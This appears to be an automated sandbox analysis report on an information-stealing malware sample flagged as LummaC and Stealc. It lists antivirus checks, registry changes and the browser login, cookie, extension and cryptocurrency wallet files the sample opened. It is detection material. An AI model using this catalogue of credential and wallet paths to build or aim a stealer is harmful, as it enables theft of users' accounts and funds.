Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations Jump to behavior
AV process strings found (often used to terminate AV products)
Source: FBVmDbz2nb.exe, FBVmDbz2nb.exe, 00000000.00000003.1513730507.0000000001583000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513438070.0000000005E39000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1514041585.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1517761363.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: FBVmDbz2nb.exe PID: 1380, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 00000004.00000003.1701899059.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1756467300.0000000000531000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1758332356.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RBZFTNPOH3OCI4WNHGK52I3.exe PID: 1524, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: FBVmDbz2nb.exe String found in binary or memory: Wallets/Electrum-LTC
Source: FBVmDbz2nb.exe, 00000000.00000003.1492388797.00000000015EB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/ElectronCash
Source: FBVmDbz2nb.exe String found in binary or memory: window-state.json
Source: FBVmDbz2nb.exe, 00000000.00000003.1555320498.0000000001600000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: "},{"en":"cjelfplplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihk
Source: FBVmDbz2nb.exe, 00000000.00000003.1492310136.000000000157D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Exodus
Source: FBVmDbz2nb.exe String found in binary or memory: Wallets/Ethereum
Source: FBVmDbz2nb.exe, 00000000.00000003.1492171889.00000000015B5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: FBVmDbz2nb.exe, 00000000.00000003.1492310136.000000000157D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Searches for user specific document files
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\AIXACVYBSB Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\AIXACVYBSB Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\TQDGENUHWP Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\TQDGENUHWP Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\UOOJJOZIRH Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\UOOJJOZIRH Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
